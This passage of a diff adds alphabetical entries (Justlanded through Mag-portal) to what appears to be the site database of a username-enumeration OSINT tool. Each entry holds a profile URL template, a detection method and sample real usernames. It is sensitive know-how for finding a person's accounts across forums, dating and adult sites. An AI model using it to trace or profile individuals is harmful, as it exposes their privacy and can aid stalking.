"Justlanded": { + "tags": [ + "in" + ], + "checkType": "status_code", + "alexaRank": 9626, + "urlMain": "https://community.justlanded.com", + "url": "https://community.justlanded.com/en/profile/{username}", + "usernameClaimed": "rahul-vaidya", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Juventuz": { + "tags": [ + "forum", + "sg", + "us" + ], + "engine": "XenForo", + "alexaRank": 1134190, + "urlMain": "https://www.juventuz.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kaggle": { + "tags": [ + "tech" + ], + "checkType": "status_code", + "alexaRank": 1947, + "urlMain": "https://www.kaggle.com/", + "url": "https://www.kaggle.com/{username}", + "usernameClaimed": "dansbecker", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kali community": { + "disabled": true, + "tags": [ + "forum", + "in" + ], + "errors": { + "You are not logged in or you do not have permission to access this page.": "Auth required" + }, + "engine": "vBulletin", + "alexaRank": 9210, + "urlMain": "https://forums.kali.org/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "KanoWorld": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 267755, + "urlMain": "https://world.kano.me/", + "url": "https://api.kano.me/progress/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Karab.in": { + "checkType": "message", + "presenseStrs": [ + "Do\u0142\u0105czy\u0142:" + ], + "absenceStrs": [ + "B\u0142\u0105d 404" + ], + "url": "https://karab.in/u/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kashalot": { + "tags": [ + "ua" + ], + "checkType": "status_code", + "alexaRank": 173233, + "urlMain": "https://kashalot.com", + "url": "https://kashalot.com/users/{username}/", + "usernameClaimed": "incognito", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kaskus": { + "tags": [ + "id" + ], + "checkType": "status_code", + "alexaRank": 1334, + "urlMain": "https://www.kaskus.co.id", + "url": "https://www.kaskus.co.id/@{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Keakr": { + "disabled": true, + "checkType": "status_code", + "url": "https://www.keakr.com/en/profile/{username}", + "usernameClaimed": "beats", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "BeatStars": { + "checkType": "message", + "url": "https://www.beatstars.com/{username}", + "presenseStrs": [ + "Stats" + ], + "absenceStrs": [ + "Page not found" + ], + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kerch Forum": { + "disabled": true, + "tags": [ + "forum", + "ru", + "ua" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e \u0432\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e. \u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0439\u0442\u0435 \u0440\u0430\u0441\u0448\u0438\u0440\u0438\u0442\u044c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0438 \u043f\u043e\u0438\u0441\u043a\u0430." + ], + "alexaRank": 314531, + "urlMain": "http://forum.kerch.com.ru", + "url": "http://forum.kerch.com.ru/search/?q={username}", + "usernameClaimed": "Milla", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Keybase": { + "tags": [ + "business", + "us" + ], + "urlProbe": "https://keybase.io/_/api/1.0/user/lookup.json?usernames={username}", + "checkType": "message", + "absenceStrs": [ + "them\":[null]", + "bad list value" + ], + "alexaRank": 63440, + "urlMain": "https://keybase.io/", + "url": "https://keybase.io/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "KharkovForum": { + "disabled": true, + "tags": [ + "forum", + "ua" + ], + "engine": "vBulletin", + "alexaRank": 189589, + "urlMain": "https://www.kharkovforum.com/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kickstarter": { + "tags": [ + "finance", + "us" + ], + "checkType": "status_code", + "alexaRank": 609, + "urlMain": "https://www.kickstarter.com", + "url": "https://www.kickstarter.com/profile/{username}", + "usernameClaimed": "zhovner", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kik": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The page you requested was not found" + ], + "alexaRank": 599341, + "urlMain": "http://kik.me/", + "url": "https://ws2.kik.com/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kinja": { + "tags": [ + "in", + "us" + ], + "checkType": "status_code", + "alexaRank": 20637, + "urlMain": "https://kinja.com", + "url": "https://kinja.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kino-tv": { + "tags": [ + "forum", + "ru" + ], + "engine": "uCoz", + "alexaRank": 2478492, + "urlMain": "http://www.kino-tv-forum.ru", + "usernameClaimed": "emal", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kinogo": { + "tags": [ + "by", + "movies" + ], + "checkType": "status_code", + "alexaRank": 7547238, + "urlMain": "https://kinogo.by", + "url": "https://kinogo.by/user/{username}", + "usernameClaimed": "ridder2", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Kinooh": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "status_code", + "urlMain": "https://kinooh.ru", + "url": "https://kinooh.ru/user/{username}/", + "usernameClaimed": "zoll", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 460069 + }, + "Kladoiskatel": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 8329019, + "urlMain": "http://forum.kladoiskatel.ru", + "url": "http://forum.kladoiskatel.ru/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "Aleksey54", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "KnigiOnline": { + "tags": [ + "by", + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 1116768, + "urlMain": "https://forum.online-knigi.com", + "usernameClaimed": "brazilla", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Knowem": { + "tags": [ + "business" + ], + "checkType": "status_code", + "alexaRank": 34701, + "urlMain": "https://knowem.com/", + "url": "https://knowem.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kongregate": { + "tags": [ + "gaming", + "us" + ], + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "checkType": "message", + "absenceStrs": [ + "Sorry, no account with that name was found." + ], + "alexaRank": 9707, + "urlMain": "https://www.kongregate.com/", + "url": "https://www.kongregate.com/accounts/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kontrolkalemi": { + "tags": [ + "tr" + ], + "checkType": "message", + "absenceStrs": [ + "Belirtilen \u00fcye bulunamad\u0131. L\u00fctfen bir \u00fcyenin tam ad\u0131n\u0131 giriniz." + ], + "alexaRank": 90035, + "urlMain": "https://www.kontrolkalemi.com", + "url": "https://www.kontrolkalemi.com/forum/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kosmetista": { + "tags": [ + "ru" + ], + "checkType": "message", + "presenseStrs": [ + "profile-content" + ], + "absenceStrs": [ + "\u0423\u043f\u0441! \u0412\u043e\u0442 \u044d\u0442\u043e \u043f\u043e\u0432\u043e\u0440\u043e\u0442!" + ], + "alexaRank": 48630, + "urlMain": "https://kosmetista.ru", + "url": "https://kosmetista.ru/profile/{username}/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kotburger": { + "checkType": "message", + "presenseStrs": [ + "Zamieszcza kotburgery od:" + ], + "absenceStrs": [ + "Nie znaleziono u\u017cytkownika o podanym loginie." + ], + "url": "https://kotburger.pl/user/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kriptom": { + "tags": [ + "tr" + ], + "checkType": "message", + "presenseStrs": [ + "Kay\u0131t tarihi" + ], + "absenceStrs": [ + "Kullan\u0131c\u0131 Detay\u0131 - Kriptom" + ], + "alexaRank": 43087, + "urlMain": "https://www.kriptom.com", + "url": "https://www.kriptom.com/user/{username}/", + "usernameClaimed": "firatimo", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "KristallovNet": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 3893024, + "urlMain": "https://forum.kristallov.net", + "usernameClaimed": "golodny", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Krstarica": { + "tags": [ + "at", + "forum" + ], + "checkType": "message", + "absenceStrs": [ + "Tra\u017eeni \u010dlan nije prona\u0111en. Molimo unesite puno ime \u010dlana i poku\u0161ajte ponovo." + ], + "alexaRank": 15233, + "urlMain": "https://forum.krstarica.com", + "url": "https://forum.krstarica.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "KubanForum24": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0437\u0430\u0431\u0430\u043d\u0435\u043d \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d" + ], + "alexaRank": 2328868, + "urlMain": "https://kuban.forum24.ru/", + "url": "https://kuban.forum24.ru/?32-{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kuharka": { + "tags": [ + "ru" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 206615, + "urlMain": "https://www.kuharka.ru/", + "url": "https://www.kuharka.ru/members/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kwejk": { + "tags": [ + "pl" + ], + "checkType": "status_code", + "alexaRank": 9254, + "urlMain": "https://kwejk.pl", + "url": "https://kwejk.pl/uzytkownik/{username}#/tablica/", + "usernameClaimed": "ralia", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "LOR": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 39114, + "urlMain": "https://linux.org.ru/", + "url": "https://www.linux.org.ru/people/{username}/profile", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ladies": { + "tags": [ + "forum", + "ua" + ], + "engine": "phpBB", + "alexaRank": 519026, + "urlMain": "http://ladies.zp.ua", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Launchpad": { + "tags": [ + "tech", + "us" + ], + "checkType": "status_code", + "alexaRank": 16968, + "urlMain": "https://launchpad.net/", + "url": "https://launchpad.net/~{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "LeetCode": { + "tags": [ + "coding" + ], + "disabled": true, + "checkType": "status_code", + "alexaRank": 1859, + "urlMain": "https://leetcode.com/", + "url": "https://leetcode.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Lenov": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 83646, + "urlMain": "https://lenov.ru", + "url": "https://lenov.ru/user/{username}/", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Lesswrong": { + "checkType": "status_code", + "url": "https://www.lesswrong.com/users/@{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Letsbeef": { + "tags": [ + "us", + "vi" + ], + "checkType": "message", + "absenceStrs": [ + "This user has not registered and therefore does not have a profile to view." + ], + "alexaRank": 8418390, + "urlMain": "https://www.letsbeef.com", + "url": "https://www.letsbeef.com/forums/member.php?&username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Letschatlove": { + "disabled": true, + "tags": [ + "in" + ], + "checkType": "message", + "absenceStrs": [ + "The user whose profile you are trying to view does not exist." + ], + "alexaRank": 1054898, + "urlMain": "https://letschatlove.com", + "url": "https://letschatlove.com/profile/{username}/", + "usernameClaimed": "Fusion", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Letterboxd": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Sorry, we can\u2019t find the page you\u2019ve requested." + ], + "alexaRank": 3822, + "urlMain": "https://letterboxd.com/", + "url": "https://letterboxd.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "LibReviews": { + "checkType": "status_code", + "urlMain": "https://lib.reviews", + "url": "https://lib.reviews/user/{username}", + "usernameClaimed": "pat", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Liberapay": { + "tags": [ + "eg", + "finance", + "in", + "pk", + "us", + "za" + ], + "checkType": "message", + "absenceStrs": [ + "The requested page could not be found" + ], + "alexaRank": 195293, + "urlMain": "https://liberapay.com", + "url": "https://liberapay.com/{username}", + "usernameClaimed": "geekyretronerds", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Libraries": { + "tags": [ + "coding", + "in" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "status_code", + "alexaRank": 68610, + "urlMain": "https://libraries.io", + "url": "https://libraries.io/github/{username}/", + "source": "GitHub", + "usernameClaimed": "snooppr", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "LibraryThing": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "

    Error: This user doesn't exist

    " + ], + "alexaRank": 25927, + "urlMain": "https://www.librarything.com/", + "url": "https://www.librarything.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Librusec": { + "tags": [ + "br", + "ru", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "/a/300686", + "/a/280282" + ], + "alexaRank": 68771, + "urlMain": "https://lib.rus.ec", + "url": "https://lib.rus.ec/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Lichess": { + "checkType": "message", + "absenceStrs": [ + "page-small box box-pad page", + ">

    No such player

    This username doesn", + "})()", + "IR0Cf7qpkpcOhvI9r03a0QbI" + ], + "alexaRank": 2374, + "urlMain": "https://lichess.org", + "url": "https://lichess.org/@/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "efxvyhnwrh", + "tags": [ + "gaming", + "hobby" + ], + "presenseStrs": [ + "us_profile", + "og:title", + "profile-side", + " data-username=", + "og:site_name" + ] + }, + "Liebe69": { + "tags": [ + "de" + ], + "checkType": "response_url", + "urlMain": "https://www.liebe69.de", + "url": "https://www.liebe69.de/profile-preview.php?username={username}", + "usernameClaimed": "klaus", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Life-dom2": { + "tags": [ + "ru" + ], + "checkType": "message", + "presenseStrs": [ + "" + ], + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441 \u0442\u0430\u043a\u0438\u043c \u0438\u043c\u0435\u043d\u0435\u043c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d." + ], + "alexaRank": 513568, + "urlMain": "https://life-dom2.su", + "url": "https://life-dom2.su/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Lightstalking": { + "tags": [ + "forum", + "photo" + ], + "checkType": "status_code", + "alexaRank": 501303, + "urlMain": "https://lightstalking.us/", + "url": "https://lightstalking.us/members/{username}", + "usernameClaimed": "kent", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Likee": { + "tags": [ + "video" + ], + "checkType": "message", + "absenceStrs": [ + "https://likee.video/@/" + ], + "presenseStrs": [ + "user_name" + ], + "alexaRank": 38032, + "url": "https://likee.video/@{username}", + "urlMain": "https://likee.video", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "line.me": { + "checkType": "message", + "absenceStrs": [ + "404 Not Found" + ], + "presenseStrs": [ + "Add LINE Friends via QR Code" + ], + "url": "https://line.me/R/ti/p/@{username}?from=page", + "usernameClaimed": "yoasobi", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Lingvolive": { + "disabled": true, + "tags": [ + "de", + "forum", + "it", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "Sorry, an error occurred while processing your request." + ], + "urlMain": "http://forum.lingvolive.com", + "url": "http://forum.lingvolive.com/profile/{username}/", + "usernameClaimed": "tom-wick", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 17645 + }, + "Linuxfr": { + "tags": [ + "fr", + "tech" + ], + "checkType": "status_code", + "alexaRank": 290886, + "urlMain": "https://linuxfr.org/", + "url": "https://linuxfr.org/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "LinuxMint": { + "tags": [ + "forum", + "ru" + ], + "alexaRank": 651304, + "urlMain": "https://www.linuxmint.com.ru", + "engine": "phpBB", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Listal": { + "tags": [ + "gb", + "in", + "us" + ], + "checkType": "response_url", + "urlMain": "https://listal.com/", + "url": "https://{username}.listal.com/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 27395 + }, + "Listed.to": { + "checkType": "message", + "presenseStrs": [ + "

    L

    " + ], + "absenceStrs": [ + "

    Featured authors

    " + ], + "url": "https://listed.to/@{username}", + "usernameClaimed": "listed", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Listography": { + "tags": [ + "in" + ], + "errors": { + "An error has occurred.": "Site error" + }, + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "No such user." + ], + "alexaRank": 64445, + "urlMain": "https://listography.com/adam", + "url": "https://listography.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "LiveInternet": { + "tags": [ + "ru" + ], + "errors": { + "\u041f\u0440\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u044d\u0442\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u0430 \u043e\u0448\u0438\u0431\u043a\u0430.": "Site error" + }, + "checkType": "message", + "absenseStrs": [ + "xmlns=\"http://www.w3.org/1999/xhtml" + ], + "presenseStrs": [ + "!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN" + ], + "alexaRank": 1808, + "urlMain": "https://www.liveinternet.ru", + "url": "https://www.liveinternet.ru/users/{username}/profile", + "usernameClaimed": "marrietta", + "usernameUnclaimed": "noonewouldevereverusethis7" + }, + "LiveJournal": { + "tags": [ + "blog", + "ru" + ], + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "checkType": "status_code", + "alexaRank": 424, + "urlMain": "https://www.livejournal.com/", + "url": "https://{username}.livejournal.com", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "LiveLeak": { + "disabled": true, + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "channel not found" + ], + "alexaRank": 9373, + "urlMain": "https://www.liveleak.com/", + "url": "https://www.liveleak.com/c/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "LiveLib": { + "tags": [ + "books", + "reading", + "ru" + ], + "checkType": "status_code", + "alexaRank": 4524, + "urlMain": "https://www.livelib.ru/", + "url": "https://www.livelib.ru/reader/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "LiveTrack24": { + "checkType": "message", + "presenseStrs": [ + "profileinfodiv" + ], + "absenceStrs": [ + "not found" + ], + "alexaRank": 1325983, + "urlMain": "https://www.livetrack24.com", + "url": "https://www.livetrack24.com/user/{username}", + "usernameClaimed": "anna", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Liveexpert": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 40588, + "urlMain": "https://www.liveexpert.ru", + "url": "https://www.liveexpert.ru/e/{username}", + "usernameClaimed": "velegor1984", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Livejasmin": { + "tags": [ + "us", + "webcam" + ], + "urlProbe": "https://www.livejasmin.com/en/flash/get-performer-details/{username}", + "checkType": "message", + "absenceStrs": [ + ":[]" + ], + "alexaRank": 67, + "urlMain": "https://www.livejasmin.com/", + "url": "https://www.livejasmin.com/en/girls/#!chat/{username}", + "usernameClaimed": "Dolce", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Livemaster": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 2913, + "urlMain": "https://www.livemaster.ru", + "url": "https://www.livemaster.ru/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "LiverpoolFC": { + "tags": [ + "forum", + "us", + "za" + ], + "checkType": "message", + "absenceStrs": [ + "This user has not registered and therefore does not have a profile to view." + ], + "alexaRank": 25572, + "urlMain": "https://forums.liverpoolfc.com", + "url": "https://forums.liverpoolfc.com/members/?username={username}", + "usernameClaimed": "jannno", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Lkforum": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 805882, + "urlMain": "http://www.lkforum.ru/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Lobsters": { + "tags": [ + "in", + "us", + "vn" + ], + "regexCheck": "[A-Za-z0-9][A-Za-z0-9_-]{0,24}", + "checkType": "status_code", + "alexaRank": 252854, + "urlMain": "https://lobste.rs/", + "url": "https://lobste.rs/u/{username}", + "usernameClaimed": "jcs", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Lolchess": { + "disabled": true, + "tags": [ + "kr" + ], + "headers": { + "accept-language": "en-US,en;q=0.9,es;q=0.8" + }, + "checkType": "message", + "absenceStrs": [ + "No search results" + ], + "presenseStrs": [ + "results were displayed out of" + ], + "alexaRank": 4911, + "urlMain": "https://lolchess.gg/", + "url": "https://lolchess.gg/profile/na/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "LonelyPlanet": { + "disabled": true, + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 6261, + "urlMain": "https://www.lonelyplanet.com", + "url": "https://www.lonelyplanet.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Lookbook": { + "tags": [ + "in" + ], + "regexCheck": "^[^.]{1,}$", + "checkType": "message", + "absenceStrs": [ + "No Looks", + "404 error" + ], + "alexaRank": 26997, + "urlMain": "https://lookbook.nu/", + "url": "https://lookbook.nu/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Lori": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 347374, + "urlMain": "https://lori.ru", + "url": "https://lori.ru/{username}", + "usernameClaimed": "Mishkova", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "LostFilmHD": { + "disabled": true, + "tags": [ + "es", + "movies", + "pl", + "ru" + ], + "engine": "uCoz", + "alexaRank": 9175, + "urlMain": "http://www.lostfilmhd.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Lostark": { + "urlSubpath": "/forums", + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 49, + "urlMain": "https://la.mail.ru", + "usernameClaimed": "wizard", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Lottiefiles": { + "checkType": "status_code", + "url": "https://lottiefiles.com/{username}", + "usernameClaimed": "lottiefiles", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Love.Mail.ru": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0417\u043d\u0430\u043a\u043e\u043c\u0441\u0442\u0432\u0430@Mail.Ru" + ], + "alexaRank": 49, + "urlMain": "https://love.mail.ru", + "url": "https://love.mail.ru/ru/{username}", + "usernameClaimed": "irina_627", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Lovemakeup": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "urlMain": "https://lovemakeup.ru", + "url": "https://lovemakeup.ru/profile/{username}", + "usernameClaimed": "Tompob", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Loveplanet": { + "disabled": true, + "tags": [ + "dating", + "ru" + ], + "checkType": "message", + "errors": { + "has been temporarily blocked": "IP ban" + }, + "absenceStrs": [ + "\u0417\u0430\u043f\u0440\u043e\u0448\u0435\u043d\u043d\u0430\u044f \u0432\u0430\u043c\u0438 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430.", + "\u0414\u0430\u043d\u043d\u044b\u0435 \u043e \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u043e\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0442", + "Information on selected user does not exist" + ], + "alexaRank": 8988, + "urlMain": "https://loveplanet.ru", + "url": "https://loveplanet.ru/page/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Lowcygier.pl": { + "checkType": "message", + "presenseStrs": [ + "Zarejestrowany" + ], + "absenceStrs": [ + "B\u0142\u0105d 404 - Podana strona nie istnieje" + ], + "url": "https://bazar.lowcygier.pl/user/{username}", + "usernameClaimed": "janek", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Lurkmore": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 46272, + "urlMain": "http://lurkmore.to", + "url": "http://lurkmore.to/%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{username}", + "usernameClaimed": "Finstergeist", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Lushstories": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 171158, + "urlMain": "https://www.lushstories.com", + "url": "https://www.lushstories.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mac-help": { + "tags": [ + "forum" + ], + "engine": "XenForo", + "alexaRank": 1112345, + "urlMain": "https://www.mac-help.com", + "usernameClaimed": "newsbot", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "MacPlanete": { + "tags": [ + "forum", + "fr", + "ma" + ], + "engine": "XenForo", + "alexaRank": 1669310, + "urlMain": "https://forum.macplanete.com", + "usernameClaimed": "pascal971", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Maccentre": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + ], + "alexaRank": 1267370, + "urlMain": "https://maccentre.ru", + "url": "https://maccentre.ru/board/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Macosx": { + "tags": [ + "forum" + ], + "engine": "XenForo", + "alexaRank": 726222, + "urlMain": "https://macosx.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Macqa": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "status_code", + "urlMain": "https://macqa.ru", + "url": "https://macqa.ru/member/{username}/", + "usernameClaimed": "vika", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mactalk": { + "tags": [ + "au", + "in", + "pk" + ], + "checkType": "message", + "absenceStrs": [ + "MacTalk" + ], + "alexaRank": 5722044, + "urlMain": "http://www.mactalk.com.au/", + "url": "http://www.mactalk.com.au/member.php?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Maga-Chat": { + "checkType": "message", + "absenceStrs": [ + "Page Not Be Found" + ], + "presenseStrs": [ + "Recent Updates" + ], + "url": "https://maga-chat.com/{username}", + "usernameClaimed": "jfc_haaber_89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mag-portal": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 